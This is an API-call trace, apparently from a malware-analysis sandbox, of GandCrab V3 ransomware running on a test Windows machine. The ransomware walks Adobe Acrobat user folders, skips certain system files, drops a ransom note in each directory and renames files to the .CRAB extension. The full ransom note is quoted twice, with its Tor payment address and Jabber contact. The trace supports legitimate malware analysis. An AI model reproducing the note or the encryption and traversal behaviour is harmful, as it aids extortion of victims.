	[0108.990] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0108.990] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0108.990] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0108.990] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0108.990] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0108.990] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.991] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0108.991] FindClose (in: hFindFile=0xd80360 | out: hFindFile=0xd80360) returned 1
	[0108.991] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0108.991] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0108.991] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0108.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\CRAB-DECRYPT.txt"
	[0108.991] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.991] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\CRAB-DECRYPT.txt") returned 71
	[0108.991] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\CRAB-DECRYPT.txt") returned 71
	[0108.991] lstrlenW (lpString=".txt") returned 4
	[0108.991] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.991] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0108.992] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.992] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\CRAB-DECRYPT.txt") returned 71
	[0108.992] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\CRAB-DECRYPT.txt") returned 71
	[0108.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0108.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0108.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0108.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0108.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0108.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0108.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0108.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0108.992] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0108.992] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.992] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0108.992] lstrcmpW (lpString1="Forms", lpString2=".") returned 1
	[0108.992] lstrcmpW (lpString1="Forms", lpString2="..") returned 1
	[0108.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Forms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms"
	[0108.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\"
	[0108.992] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.993] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.993] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.993] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.993] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.993] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.993] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.993] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\\\CRAB-DECRYPT.txt") returned 78
	[0108.994] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\forms\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0108.994] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.994] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0108.995] CloseHandle (hObject=0x3f8) returned 1
	[0108.995] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.995] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned 61
	[0108.995] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*"
	[0108.995] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xd80360
	[0108.996] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.996] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0108.996] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.996] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.996] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0108.996] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0108.996] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0108.996] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\CRAB-DECRYPT.txt"
	[0108.996] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.996] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\CRAB-DECRYPT.txt") returned 77
	[0108.996] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\CRAB-DECRYPT.txt") returned 77
	[0108.996] lstrlenW (lpString=".txt") returned 4
	[0108.996] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.996] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0108.996] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.997] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\CRAB-DECRYPT.txt") returned 77
	[0108.997] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\CRAB-DECRYPT.txt") returned 77
	[0108.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0108.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0108.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0108.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0108.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0108.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0108.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0108.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0108.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0108.997] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.997] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0108.997] FindClose (in: hFindFile=0xd80360 | out: hFindFile=0xd80360) returned 1
	[0108.997] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0108.997] lstrcmpW (lpString1="JSCache", lpString2=".") returned 1
	[0108.997] lstrcmpW (lpString1="JSCache", lpString2="..") returned 1
	[0108.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache"
	[0108.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\"
	[0108.998] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.998] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.998] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.998] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.998] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.998] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.998] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.999] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\\\CRAB-DECRYPT.txt") returned 80
	[0108.999] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0108.999] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.999] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0109.000] CloseHandle (hObject=0x3f8) returned 1
	[0109.000] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.000] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned 63
	[0109.001] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*"
	[0109.001] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xd80360
	[0109.001] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.001] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.001] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.001] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.001] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.001] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.001] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.001] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\CRAB-DECRYPT.txt"
	[0109.001] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.001] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\CRAB-DECRYPT.txt") returned 79
	[0109.002] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\CRAB-DECRYPT.txt") returned 79
	[0109.002] lstrlenW (lpString=".txt") returned 4
	[0109.002] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.002] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.002] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.002] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\CRAB-DECRYPT.txt") returned 79
	[0109.002] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\CRAB-DECRYPT.txt") returned 79
	[0109.002] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.002] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.002] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.002] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.002] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.002] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.002] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.002] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.002] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.003] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.003] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.003] lstrcmpW (lpString1="GlobData", lpString2=".") returned 1
	[0109.003] lstrcmpW (lpString1="GlobData", lpString2="..") returned 1
	[0109.003] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData"
	[0109.003] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.003] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71
	[0109.003] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71
	[0109.003] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71
	[0109.003] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71
	[0109.003] lstrcmpiW (lpString1="GlobData", lpString2="desktop.ini") returned 1
	[0109.003] lstrcmpiW (lpString1="GlobData", lpString2="autorun.inf") returned 1
	[0109.003] lstrcmpiW (lpString1="GlobData", lpString2="ntuser.dat") returned -1
	[0109.003] lstrcmpiW (lpString1="GlobData", lpString2="iconcache.db") returned -1
	[0109.003] lstrcmpiW (lpString1="GlobData", lpString2="bootsect.bak") returned 1
	[0109.003] lstrcmpiW (lpString1="GlobData", lpString2="boot.ini") returned 1
	[0109.003] lstrcmpiW (lpString1="GlobData", lpString2="ntuser.dat.log") returned -1
	[0109.003] lstrcmpiW (lpString1="GlobData", lpString2="thumbs.db") returned -1
	[0109.003] lstrcmpiW (lpString1="GlobData", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.003] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.004] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.CRAB") returned 76
	[0109.004] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata")) returned 0x20
	[0109.005] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData", dwFileAttributes=0x20) returned 1
	[0109.005] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata.crab")) returned 1
	[0109.006] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.006] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.CRAB"
